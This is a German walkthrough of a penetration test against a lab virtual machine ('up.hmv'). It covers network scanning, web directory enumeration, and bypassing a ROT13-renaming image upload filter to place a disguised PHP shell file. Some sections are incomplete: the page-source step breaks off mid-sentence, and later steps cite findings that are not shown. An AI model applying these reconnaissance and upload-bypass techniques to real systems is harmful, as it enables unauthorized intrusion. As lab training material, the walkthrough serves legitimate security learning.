Analyse: Die Zeilen `2245 X=$(./recon_script.sh jenk.nyx)` und `2246 echo $X` deuten auf die Ausführung eines benutzerdefinierten Skripts namens `recon_script.sh` hin, dem der Parameter `jenk.nyx` übergeben wird. Das Ergebnis der Skriptausführung wird in der Variablen `X` gespeichert und anschließend ausgegeben. Der Inhalt von `$X` wird hier nicht gezeigt, aber diese Zeilen stammen wahrscheinlich aus einer Shell-History und zeigen einen initialen, möglicherweise automatisierten Reconnaissance-Schritt.
Bewertung: Die Verwendung von benutzerdefinierten Skripten ist üblich, um wiederkehrende Reconnaissance-Aufgaben zu automatisieren. Ohne den Inhalt des Skripts oder die Ausgabe von `echo $X` zu kennen, ist eine detaillierte Bewertung schwierig. Es deutet jedoch auf einen strukturierten Ansatz hin.
Empfehlung (Pentester): Wenn solche Skripte verwendet werden, ist es wichtig, deren Funktionsweise zu verstehen und sicherzustellen, dass sie die gewünschten Informationen zuverlässig sammeln. Die Ergebnisse sollten immer manuell überprüft und validiert werden.
Empfehlung (Admin): Automatisierte Reconnaissance durch Angreifer ist gängig. Systeme sollten so gehärtet sein, dass sie möglichst wenig unnötige Informationen preisgeben. Monitoring-Systeme können helfen, ungewöhnliche Scan-Aktivitäten zu erkennen.
2245 X=$(./recon_script.sh jenk.nyx) 2246 echo $X
Analyse: Der Befehl `arp-scan -l | grep "PCS" | awk '{print $1}'` wird verwendet, um die IP-Adresse eines Ziels im lokalen Netzwerk zu finden. `arp-scan -l` sendet ARP-Anfragen an alle Geräte im lokalen Netzwerk. Die Ausgabe wird mit `grep "PCS"` gefiltert, um Geräte zu finden, deren Herstellerbezeichnung "PCS Systemtechnik" enthält (oft ein Hinweis auf Oracle VirtualBox VMs). `awk '{print $1}'` extrahiert die IP-Adresse. Das Ergebnis ist `192.168.2.172`. Darunter folgt eine detailliertere `arp-scan`-Ausgabe ohne Filterung, die alle erkannten Geräte im Netzwerk mit ihren MAC-Adressen und Herstellerinformationen auflistet. Hier ist `192.168.2.172` ebenfalls mit der MAC `08:00:27:d9:cc:6b` und dem Hersteller "PCS Systemtechnik GmbH" zu sehen.
Bewertung: Die Ziel-IP `192.168.2.172` wurde erfolgreich identifiziert. Die detaillierte `arp-scan`-Ausgabe gibt einen guten Überblick über andere Geräte im selben Netzwerksegment, was für das Situationsbewusstsein nützlich sein kann, auch wenn diese nicht direkt angegriffen werden.
Empfehlung (Pentester): `arp-scan` ist ein schnelles und effektives Werkzeug für die Host-Discovery im LAN. Die Kombination mit `grep` und `awk` ist nützlich, um die Ausgabe auf relevante Informationen zu reduzieren.
Empfehlung (Admin): Netzwerküberwachung und NAC (Network Access Control) können helfen, unautorisierte Geräte im Netzwerk zu erkennen. Kenntnis der erwarteten Geräte im Netzwerk ist wichtig.
192.168.2.172
:::::::::::::::::::::::::::::::::: ARP-Scan :::::::::::::::::::::::::::::::: Interface: eth0, type: EN10MB, MAC: 08:00:27:ee:49:a2, IPv4: 192.168.2.199 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.1 38:e1:f4:22:ac:ac (Unknown) 192.168.2.30 8c:98:06:22:c3:49 SHENZHEN SEI ROBOTICS CO.,LTD 192.168.2.31 bc:f8:7e:ac:41:00 (Unknown) 192.168.2.32 80:47:86:96:f6:3a Samsung Electronics Co.,Ltd 192.168.2.120 84:25:19:2f:66:32 Samsung Electronics 192.168.2.161 08:bf:b8:c1:fd:13 (Unknown) 192.168.2.172 08:00:27:d9:cc:6b PCS Systemtechnik GmbH 192.168.2.188 04:42:1a:06:81:54 ASUSTek COMPUTER INC. 192.168.2.163 ae:ef:d4:a6:85:d3 (Unknown: locally administered) 192.168.2.111 ce:f4:81:80:c5:d4 (Unknown: locally administered)
Analyse: Dies ist ein Auszug aus der `/etc/hosts`-Datei des Angreifer-Systems. Sie enthält manuelle Zuordnungen von IP-Adressen zu Hostnamen. Der relevante Eintrag für diesen Bericht ist `192.168.2.172 up.hmv`, der der zuvor gefundenen IP-Adresse den Hostnamen `up.hmv` zuweist.
Bewertung: Das Hinzufügen eines Eintrags zur `/etc/hosts`-Datei ist eine gängige Praxis, um das Zielsystem während des Pentests unter einem leicht merkbaren Namen anzusprechen. Dies vereinfacht die Verwendung von Tools, die Hostnamen erwarten oder wenn man virtuelle Hosts auf einem Webserver testen möchte.
Empfehlung (Pentester): Es ist eine gute Vorgehensweise, die `/etc/hosts`-Datei zu pflegen, um die Arbeit zu erleichtern. Stellen Sie sicher, dass der gewählte Hostname nicht mit wichtigen realen Diensten kollidiert.
Empfehlung (Admin): In produktiven Umgebungen sollten DNS-Server für die Namensauflösung verwendet werden. Änderungen an lokalen Hosts-Dateien auf Endgeräten können auf unautorisierte Aktivitäten hindeuten, ihre Überwachung ist jedoch oft aufwendig.
:::::::::::::::::::::::::::::::::::::::::::::::::::::: /etc/hosts :::::::::::::::::::::::::::::::::::::::::::::::::::::
# 192.168.2.161 dc2.vln dc-2
192.168.2.162 buster.hmv
# 192.168.2.163 dc1.vln
192.168.2.164 lookup.hmv www.lookup.hmv files.lookup.hmv
192.168.2.165 plpl.hmv
192.168.2.167 jan.hmv
# 192.168.2.166 dc6.vln wordy
# 192.168.2.168 sick.vln
# 192.168.2.169 sick.vln
# 192.168.2.170 sick.vln
192.168.2.171 hero.hmv hero
192.168.2.172 up.hmv
Analyse: Diese Befehlskette dient dazu, IPv6-Adressen im lokalen Netzwerk zu finden und mit Nmap zu scannen. `cmd=$(ip neigh | grep ^fe80 2>/dev/null| grep -ve "fe80::1\|fe80::....:a4bf:d441")`: `ip neigh` zeigt den ARP/NDP-Cache. `grep ^fe80` filtert nach Link-Local-IPv6-Adressen. `2>/dev/null` unterdrückt Fehler. `grep -ve "..."` schließt bestimmte Adressen aus (wahrscheinlich das Gateway und eine andere bekannte Adresse). Das Ergebnis wird in `cmd` gespeichert. `cmd2=$(echo $cmd | awk '{print $1}' | sort -u)`: Extrahiert die reinen IPv6-Adressen aus `cmd`, sortiert sie und entfernt Duplikate. `nmap $cmd2 -6`: Führt einen Nmap-Scan auf den gefundenen IPv6-Adressen durch. Die Option `-6` ist für IPv6-Scans. Die Nmap-Ausgabe zeigt für `debian (fe80::a00:27ff:fed9:cc6b)` den Port 80/tcp (http) als offen. Die MAC-Adresse `08:00:27:D9:CC:6B` ist identisch mit der des IPv4-Ziels. Für eine andere IPv6-Adresse (`fe80::d0a5:97c8:ee04:6f55`) werden keine offenen Ports gefunden.
Bewertung: Der IPv6-Scan bestätigt, dass der Webserver auch über IPv6 auf Port 80 erreichbar ist. Dies ist wichtig für ein vollständiges Bild der Angriffsfläche. Die Methode zur Ermittlung der IPv6-Nachbarn ist etwas umständlich, aber funktionell.
Empfehlung (Pentester): Es ist wichtig, immer auch IPv6 zu berücksichtigen. Nmap-Optionen wie `-6` sind dafür unerlässlich. Die Ausgabe des Scans ist die Grundlage für weitere Enumerationsschritte auf dem Webserver über IPv6, falls sich dieser anders verhält als über IPv4.
Empfehlung (Admin): Stellen Sie sicher, dass Firewall-Regeln und Dienstkonfigurationen sowohl für IPv4 als auch für IPv6 konsistent und sicher sind. Deaktivieren Sie IPv6 auf Schnittstellen und Systemen, wenn es nicht aktiv genutzt wird, um die Komplexität und Angriffsfläche zu reduzieren.
---------------- IPv6 Adresse: fe80::a00:27ff:fee2:95%eth0: --------------- Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-09 22:54 CET Nmap scan report for debian (fe80::a00:27ff:fed9:cc6b) Host is up (0.00016s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http MAC Address: 08:00:27:D9:CC:6B (Oracle VirtualBox virtual NIC) Nmap scan report for fe80::d0a5:97c8:ee04:6f55 Host is up (0.0000060s latency). All 65535 scanned ports on fe80::d0a5:97c8:ee04:6f55 are in ignored states. Not shown: 65535 closed tcp ports (reset) Nmap done: 3 IP addresses (2 hosts up) scanned in 17.82 seconds
Analyse: Ein Nmap UDP-Scan wird durchgeführt. `-sU`: UDP-Scan. `--top-port 1000`: Scannt die 1000 häufigsten UDP-Ports. `-T5`: Aggressives Timing ("insane"). `-n`: Keine DNS-Auflösung. `$IP`: Variable, die die Ziel-IP (192.168.2.172) enthält. `-Pn`: Überspringt die Host-Discovery (behandelt das Ziel als online). `--min-rate 5000`: Sendet Pakete mit einer Mindestrate von 5000 pro Sekunde. Die Ausgabe zeigt Port 5353/udp als `open` mit dem Dienst `zeroconf` (wahrscheinlich mDNS/Bonjour). Die anderen gescannten UDP-Ports sind `closed` oder `open|filtered` (keine Antwort).
Bewertung: UDP-Scans sind oft langsam und unzuverlässig, da UDP ein verbindungsloses Protokoll ist. Ein offener Port 5353 (mDNS) ist in lokalen Netzwerken häufig anzutreffen und dient der Namensauflösung und Diensterkennung ohne zentralen DNS-Server. Er kann manchmal Informationen über das System oder andere Dienste preisgeben, ist aber selten ein direkter Angriffsvektor für Remote Code Execution.
Empfehlung (Pentester): Der offene mDNS-Port könnte mit Tools wie `avahi-browse` oder spezifischen mDNS-Enumerationstools weiter untersucht werden, um zu sehen, welche Dienste das System im Netzwerk ankündigt. Meist ist dies für einen direkten Zugriff weniger relevant als TCP-Dienste.
Empfehlung (Admin): Deaktivieren Sie mDNS (Avahi-Daemon unter Linux, Bonjour unter macOS/Windows), wenn es im Netzwerk nicht benötigt wird, um die Angriffsfläche zu reduzieren und unnötigen Netzwerkverkehr zu vermeiden.
Nmap UDP Scan Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-09 22:54 CET Nmap scan report for 192.168.2.172 Host is up (0.00027s latency). Not shown: 993 open|filtered udp ports (no-response) PORT STATE SERVICE =================================================== 5353/udp open zeroconf <<===<- =================================================== 9103/udp closed bacula-sd 19047/udp closed unknown 34358/udp closed unknown 42557/udp closed unknown 44179/udp closed unknown 49196/udp closed unknown MAC Address: 08:00:27:D9:CC:6B (Oracle VirtualBox virtual NIC)
Analyse: Dieser Nmap-Befehl führt einen TCP SYN-Scan (`-sS`) mit Skript-Scanning (`-sC`), Versionserkennung (`-sV`) und OS-Erkennung/Traceroute (`-A` implies `-O` für OS detection) auf allen Ports (`-p-`) durch. Die Ausgabe wird direkt mit `grep open` gefiltert. Das Ergebnis ist 80/tcp open http Apache httpd 2.4.62 ((Debian)).
Bewertung: Dies ist eine schnelle Methode, um nur die offenen TCP-Ports und deren grundlegende Dienstinformationen aus einem umfassenden Nmap-Scan zu extrahieren. Es bestätigt, dass Port 80 der einzige offene TCP-Port ist.
Empfehlung (Pentester): Die `grep open`-Methode ist nützlich für eine schnelle Übersicht. Für detaillierte Analysen sollte jedoch die vollständige Nmap-Ausgabe betrachtet werden (wie im nächsten Befehl).
Empfehlung (Admin): Regelmäßige Überprüfung der offenen Ports ist entscheidend. Stellen Sie sicher, dass keine unerwarteten Dienste lauschen.
80/tcp open http Apache httpd 2.4.62 ((Debian))
Analyse: Dies ist der vollständige Nmap-Scan, dessen gefilterte Ausgabe im vorherigen Schritt gezeigt wurde. Optionen: `-sS`: TCP SYN-Scan. `-sC`: Default-Skripte. `-sV`: Versionserkennung. `-A`: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute. (Beinhaltet `-O` für OS detection, nicht `-AO` als separate Option). `-p-`: Alle TCP-Ports. `$IP`: Ziel-IP. `-Pn`: Host als online behandeln. `--min-rate 5000`: Aggressive Scan-Rate. Die Ausgabe bestätigt Port 80/tcp (http) mit Apache httpd 2.4.62 ((Debian)). Der Seitentitel ist "RodGar - Subir Imagen" (RodGar - Bild hochladen). Betriebssystemdetails deuten auf Linux hin. Traceroute zeigt einen direkten Hop.
Bewertung: Der Nmap-Scan liefert detaillierte Informationen über den einzigen offenen TCP-Port. Der Titel "Subir Imagen" (Bild hochladen) ist ein sehr starker Hinweis auf die Funktionalität der Webseite und ein potenzielles Angriffsziel (Dateiupload-Schwachstellen). Die Apache-Version und OS-Details sind nützlich für die weitere Recherche.
Empfehlung (Pentester): Der Fokus sollte nun auf der Webanwendung auf Port 80 liegen, insbesondere auf der Upload-Funktionalität. Untersuchen Sie diese auf mögliche Schwachstellen (Umgehung von Dateityp-Filtern, Directory Traversal, Ausführung von hochgeladenem Code).
Empfehlung (Admin): Halten Sie Webserver-Software und das Betriebssystem aktuell. Dateiupload-Funktionen müssen besonders sorgfältig implementiert und abgesichert werden (strikte Typ- und Inhaltsvalidierung, Speicherung außerhalb des Web-Roots, keine Ausführungsrechte für Upload-Verzeichnisse).
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-09 22:54 CET Nmap scan report for up.hmv (192.168.2.172) Host is up (0.00031s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: RodGar - Subir Imagen |_http-server-header: Apache/2.4.62 (Debian) MAC Address: 08:00:27:D9:CC:6B (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.31 ms up.hmv (192.168.2.172) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.27 seconds
Analyse: Ein Nmap SCTP INIT-Scan (`-sY`) wird auf allen Ports (`-p-`) des Ziels durchgeführt. SCTP (Stream Control Transmission Protocol) ist ein weiteres Transportprotokoll ähnlich TCP und UDP. Die Ausgabe zeigt: "All 65535 scanned ports on 192.168.2.172 are in ignored states. Not shown: 65504 filtered sctp ports (no-response), 31 filtered sctp ports (proto-unreach)".
Bewertung: Der SCTP-Scan hat keine offenen SCTP-Ports gefunden. Die meisten Ports antworten nicht (`filtered`) oder signalisieren, dass das Protokoll nicht unterstützt wird (`proto-unreach`). SCTP wird seltener verwendet als TCP oder UDP, aber es ist gut, es für ein vollständiges Bild zu scannen.
Empfehlung (Pentester): In den meisten Fällen wird SCTP keine Angriffsvektoren bieten, es sei denn, es handelt sich um spezialisierte Telekommunikationssysteme oder ähnliches. Für typische Web-/Anwendungsserver ist es unwahrscheinlich, offene SCTP-Dienste zu finden.
Empfehlung (Admin): Wenn SCTP nicht benötigt wird, stellen Sie sicher, dass es auf Systemebene deaktiviert ist oder von der Firewall blockiert wird, um die Angriffsfläche minimal zu halten.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-09 22:54 CET
Nmap scan report for 192.168.2.172
Host is up (0.00012s latency).
All 65535 scanned ports on 192.168.2.172 are in ignored states.
Not shown: 65504 filtered sctp ports (no-response), 31 filtered sctp ports (proto-unreach)
MAC Address: 08:00:27:D9:CC:6B (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 26.55 seconds
Analyse: `curl -Iv http://$IP` sendet eine HTTP HEAD-Anfrage an den Webserver. `-I` für HEAD-Request, `-v` für verbose Output. Die Antwort-Header bestätigen: Status: HTTP/1.1 200 OK. Server: Apache/2.4.62 (Debian). `Content-Type: text/html; charset=UTF-8`.
Bewertung: Dieser Befehl bestätigt die Erreichbarkeit des Webservers und liefert grundlegende Header. Die Informationen sind konsistent mit den vorherigen Nmap-Ergebnissen. Keine neuen kritischen Informationen, aber eine schnelle Bestätigung.
Empfehlung (Pentester): Curl ist nützlich für schnelle manuelle HTTP-Anfragen und das Überprüfen von Headern. Für eine tiefere Web-Enumeration sind Tools wie Nikto, Gobuster oder Burp Suite besser geeignet.
Empfehlung (Admin): Überprüfen Sie regelmäßig die Server-Header und stellen Sie sicher, dass keine unnötigen Informationen preisgegeben werden (z.B. zu detaillierte Server-Versionen, obwohl Apache hier Standardinformationen liefert).
* Trying 192.168.2.172:80... * Connected to 192.168.2.172 (192.168.2.172) port 80 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: 192.168.2.172 > User-Agent: curl/8.10.1 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK HTTP/1.1 200 OK < Date: Sun, 09 Feb 2025 21:55:13 GMT Date: Sun, 09 Feb 2025 21:55:13 GMT < Server: Apache/2.4.62 (Debian) Server: Apache/2.4.62 (Debian) < Content-Type: text/html; charset=UTF-8 Content-Type: text/html; charset=UTF-8 < * Connection #0 to host 192.168.2.172 left intact
Analyse: `curl --verbose -I http://$IP -s` führt ebenfalls eine HTTP HEAD-Anfrage durch. `--verbose`: Ähnlich zu `-v`, gibt detaillierte Informationen aus. `-I`: HEAD-Request. `-s`: Silent-Modus, unterdrückt den Fortschrittsbalken, aber nicht die Header-Ausgabe mit `--verbose` oder `-I`. Die Ausgabe ist identisch mit dem vorherigen `curl -Iv`-Befehl.
Bewertung: Der Befehl liefert dieselben Informationen wie der vorherige. Die Verwendung von `-s` ist hier redundant, da `-I` oder `-v` bereits die gewünschten Header-Informationen anzeigen. Wiederholung ohne neue Erkenntnisse.
Empfehlung (Pentester): Vermeiden Sie redundante Befehle, wenn die Informationen bereits vorliegen, es sei denn, Sie testen spezifische Serverreaktionen auf leicht geänderte Anfragen.
Empfehlung (Admin): Konsistenz in den Serverantworten ist gut. Stellen Sie sicher, dass alle Endpunkte die erwarteten und sicheren Header liefern.
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ ::::::::::::::::::::::::: HTTP-Header Verbose Scan ::::::::::::::::::::::::: ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ * Trying 192.168.2.172:80... * Connected to 192.168.2.172 (192.168.2.172) port 80 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: 192.168.2.172 > User-Agent: curl/8.10.1 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK HTTP/1.1 200 OK < Date: Sun, 09 Feb 2025 21:55:13 GMT Date: Sun, 09 Feb 2025 21:55:13 GMT < Server: Apache/2.4.62 (Debian) Server: Apache/2.4.62 (Debian) < Content-Type: text/html; charset=UTF-8 Content-Type: text/html; charset=UTF-8 < * Connection #0 to host 192.168.2.172 left intact
Analyse: Die Ausgabe von Nikto (Version 2.5.0) für das Ziel `192.168.2.172` auf Port 80 wird gezeigt. Wichtige Funde: Server: Apache/2.4.62 (Debian). Fehlender `X-Frame-Options`-Header: Potenzielles Clickjacking-Risiko. Fehlender `X-Content-Type-Options`-Header: Könnte MIME-Type-Sniffing durch Browser ermöglichen. "Web Server returns a valid response with junk HTTP methods": Der Server antwortet auf ungültige HTTP-Methoden mit einem validen Response-Code, was False Positives bei Scannern verursachen kann.
Bewertung: Nikto identifiziert gängige, aber meist geringfügige Sicherheitsmängel bezüglich fehlender HTTP-Security-Header. Die Information über die Reaktion auf "Junk HTTP Methods" ist nützlich, da sie erklärt, warum manche Tools möglicherweise unerwartete Ergebnisse liefern.
Empfehlung (Pentester): Die fehlenden Header sollten im Bericht erwähnt werden. Untersuchen Sie, ob die Reaktion auf ungültige HTTP-Methoden weitere Informationen preisgibt oder für Angriffe ausgenutzt werden kann (selten, aber möglich).
Empfehlung (Admin): Implementieren Sie wichtige Security-Header wie `X-Frame-Options: DENY` (oder `SAMEORIGIN`), `X-Content-Type-Options: nosniff` und `Content-Security-Policy`, um die Sicherheit der Webanwendung zu verbessern. Konfigurieren Sie den Webserver so, dass er auf unbekannte oder ungültige HTTP-Methoden mit einem entsprechenden Fehlercode (z.B. 405 Method Not Allowed oder 501 Not Implemented) reagiert.
====================================================================================================== - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.172 + Target Hostname: 192.168.2.172 + Target Port: 80 + Start Time: 2025-02-09 22:55:17 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.62 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + 8102 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2025-02-09 22:56:12 (GMT1) (55 seconds) --------------------------------------------------------------------------- + 1 host(s) tested ======================================================================================================
Analyse: `gobuster` wird für das Directory/File-Bruteforcing verwendet. `dir`: Directory/File-Enumeration-Modus. `-u "http://$IP"`: Ziel-URL. `-w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt"`: Wortliste. `-x txt,php,...,json,conf,ELF,...,js.map,pHtml`: Eine sehr lange Liste von Dateierweiterungen, nach denen gesucht wird. `-b '503,404,403'`: Auszublendende Statuscodes. `-e`: Erweiterter Modus (für das Parsen von HTML nach Links, hier aber eher für die Erweiterungssuche relevant). `--no-error`: Unterdrückt Fehler. `-k`: Überspringt SSL-Verifizierung. Gefundene Pfade: http://192.168.2.172/index.php (Status: 200) http://192.168.2.172/uploads (Status: 301, leitet weiter zu `/uploads/`) http://192.168.2.172/javascript (Status: 301, leitet weiter zu `/javascript/`) http://192.168.2.172/sh.jpg (Status: 200)
Bewertung: Gobuster hat einige interessante Pfade gefunden. `/index.php` ist die Hauptseite. `/uploads/` ist besonders interessant, da die Webseite eine Upload-Funktion hat. `/javascript/` könnte clientseitigen Code enthalten. Die Datei `/sh.jpg` ist auffällig – eine `.jpg`-Datei mit dem Namen "sh" könnte eine getarnte Shell oder ein wichtiges Bild sein.
Empfehlung (Pentester): Untersuchen Sie die gefundenen Pfade genauer:
`/uploads/`: Prüfen Sie, ob Verzeichnislisting aktiviert ist und welche Dateien dort liegen. Versuchen Sie, Dateien hochzuladen und zu sehen, ob sie in diesem Verzeichnis erscheinen.
`/javascript/`: Analysieren Sie den JavaScript-Code auf Hinweise zu API-Endpunkten oder clientseitiger Logik.
`/sh.jpg`: Laden Sie die Datei herunter und untersuchen Sie sie (z.B. mit `file`, `exiftool`, Hex-Editor), um festzustellen, ob es sich tatsächlich um ein Bild oder um etwas anderes handelt.
Empfehlung (Admin): Deaktivieren Sie Verzeichnislistings für alle Verzeichnisse, die nicht öffentlich einsehbar sein sollen (insbesondere `/uploads/`). Stellen Sie sicher, dass keine sensiblen Dateien oder Skripte in öffentlich zugänglichen Verzeichnissen liegen. Überprüfen Sie die Berechtigungen für das `/javascript/`-Verzeichnis.
http://192.168.2.172/index.php (Status: 200) [Size: 4489] http://192.168.2.172/uploads (Status: 301) [Size: 316] [--> http://192.168.2.172/uploads/] http://192.168.2.172/javascript (Status: 301) [Size: 319] [--> http://192.168.2.172/javascript/] http://192.168.2.172/sh.jpg (Status: 200) [Size: 1330919]
Analyse: Dieser Nmap-Scan (`nmap -sV -A --script vuln 192.168.2.144 -T5`) zielt auf eine *andere IP-Adresse* (`192.168.2.144`) als das eigentliche Ziel (`192.168.2.172`). Die Ausgabe dieses Scans (`Ausgabe...`) wird nicht gezeigt.
Bewertung: Dieser Scan ist für den aktuellen Bericht über `up.hmv (192.168.2.172)` nicht direkt relevant, da er ein anderes Ziel untersucht. Es könnte sich um einen Fehler im Berichtstext handeln oder um einen parallelen Test, der hier versehentlich dokumentiert wurde.
Empfehlung (Pentester): Stellen Sie sicher, dass Scans und deren Ergebnisse korrekt dem jeweiligen Ziel zugeordnet werden, um Verwirrung im Bericht zu vermeiden.
Empfehlung (Admin): Dieser spezifische Scan liefert keine Informationen über das Ziel `up.hmv`.
Ausgabe...
Analyse: Der Quellcode der Seite `http://192.168.2.172/index.php` wird angezeigt. Es handelt sich um ein HTML-Formular zum Hochladen von Bildern. Wichtige Elemente: `
Analyse: `ffuf` wird für eine weitere Directory/File-Enumeration verwendet. `-u http://192.168.2.172/FUZZ`: Die URL, wobei `FUZZ` durch die Wortliste ersetzt wird. `-w /usr/share/wordlists/dirb/common.txt`: Wortliste. `-fc 404`: Filtert Antworten mit Statuscode 404. Die Ausgabe zeigt bereits bekannte Pfade wie `index.php`, `javascript`, `uploads` und auch `.htpasswd`, `.htaccess`, `.hta` (alle mit 403 Forbidden) und `server-status` (403 Forbidden). Diese 403-Fehler deuten darauf hin, dass die Dateien/Pfade existieren, aber der Zugriff verweigert wird.
Bewertung: `ffuf` bestätigt einige der früheren Funde und findet zusätzliche Standarddateien/-pfade, auf die der Zugriff verweigert wird. Dies liefert keine neuen direkten Angriffsvektoren, aber die Existenz von `.htaccess` oder `.htpasswd` könnte auf Konfigurationen oder geschützte Bereiche hinweisen, auch wenn wir nicht direkt darauf zugreifen können.
Empfehlung (Pentester): Die 403-Fehler sind zur Kenntnis zu nehmen. Der Fokus sollte weiterhin auf der Ausnutzung der Upload-Funktion mit dem Wissen über die ROT13-Namensänderung liegen.
Empfehlung (Admin): Stellen Sie sicher, dass der Zugriff auf Konfigurationsdateien wie `.htaccess` und `.htpasswd` sowie auf Statusseiten wie `server-status` ordnungsgemäß über die Webserver-Konfiguration gesteuert und eingeschränkt wird.
/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://192.168.2.172/FUZZ :: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response status: 404 ________________________________________________ [Status: 200, Size: 4489, Words: 1536, Lines: 151, Duration: 1ms] .htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 1ms] .htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 0ms] .hta [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 63ms] index.php [Status: 200, Size: 4489, Words: 1536, Lines: 151, Duration: 1ms] javascript [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 0ms] server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 0ms] uploads [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 0ms] :: Progress: [4614/4614] :: Job [1/1] :: 48 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
Analyse: Ein `curl -i -X GET http://192.168.2.172/uploads/` wird ausgeführt, um die Header des `/uploads/`-Verzeichnisses abzurufen. Der Server antwortet mit `HTTP/1.1 403 Forbidden`. Der Body der Antwort enthält "Remember listing absolutely everything can always be a good practice."
Bewertung: Dies bestätigt erneut, dass das Verzeichnislisting für `/uploads/` deaktiviert ist und der Hinweis immer noch vorhanden ist. Dies verstärkt die Vermutung, dass `robots.txt` (oder eine ähnliche Datei) in diesem Verzeichnis der Schlüssel ist.
Empfehlung (Pentester): Der Hinweis wurde bereits durch den Fund von `/uploads/robots.txt` und dessen Analyse des PHP-Upload-Skripts befolgt.
Empfehlung (Admin): Wie zuvor, Verzeichnislisting deaktivieren und keine verräterischen Hinweise auf Fehlerseiten hinterlassen.
HTTP/1.1 403 Forbidden
Date: Sun, 09 Feb 2025 22:44:55 GMT
Server: Apache/2.4.62 (Debian)
Last-Modified: Tue, 22 Oct 2024 16:01:26 GMT
ETag: "3c4-62512e1b66eae"
Accept-Ranges: bytes
Content-Length: 964
Content-Type: text/html
Remember listing absolutely everything can always be a good practice.
Analyse: Auf dem Angreifer-System wird eine Datei `shell2.php.jpg` in `shell.php.gif` kopiert. Anschließend wird mit `curl` versucht, die Datei `http://192.168.2.172/uploads/furyy.cuc.gif` abzurufen. Die Antwort ist `200 OK` und der Inhalt beginnt mit `GIF89a`, gefolgt von weiteren Zeichen, die typisch für eine GIF-Datei sind (hier gekürzt als "... ...."). Der ROT13-Converter-Screenshot zeigt, dass `shell.php.gif` zu `furyy.cuc.tvs` ROT13-kodiert wird. ACHTUNG: Hier gibt es eine Diskrepanz! Das PHP-Skript wendet ROT13 nur auf den *Basisnamen* vor der Erweiterung an. Wenn die hochgeladene Datei `shell.php.gif` heißt, ist der Basisname (laut `pathinfo($fileName, PATHINFO_FILENAME)`) `shell.php`. ROT13 von `shell.php` ist `furyy.cuc`. Der gespeicherte Name wäre also `furyy.cuc.gif` – genau das wurde mit `curl` abgerufen und hat funktioniert!
Bewertung: Der Upload und der Abruf der manipulierten Datei waren erfolgreich! Obwohl der Screenshot des ROT13-Converters einen kleinen Fehler in der manuellen Anwendung auf den gesamten Dateinamen inklusive Erweiterung zeigt, wurde die Logik des PHP-Skripts korrekt ausgenutzt. Die Datei `shell.php.gif` (die vermutlich PHP-Code enthält) wurde als `furyy.cuc.gif` auf dem Server gespeichert und konnte abgerufen werden. Dass der Inhalt als `GIF89a` beginnt, bedeutet, dass der Server die Datei als GIF ausliefert und den PHP-Code *nicht* ausführt. Dies ist der gleiche Zustand wie zuvor mit `shell.php.jpg` – der PHP-Code wird noch nicht interpretiert.
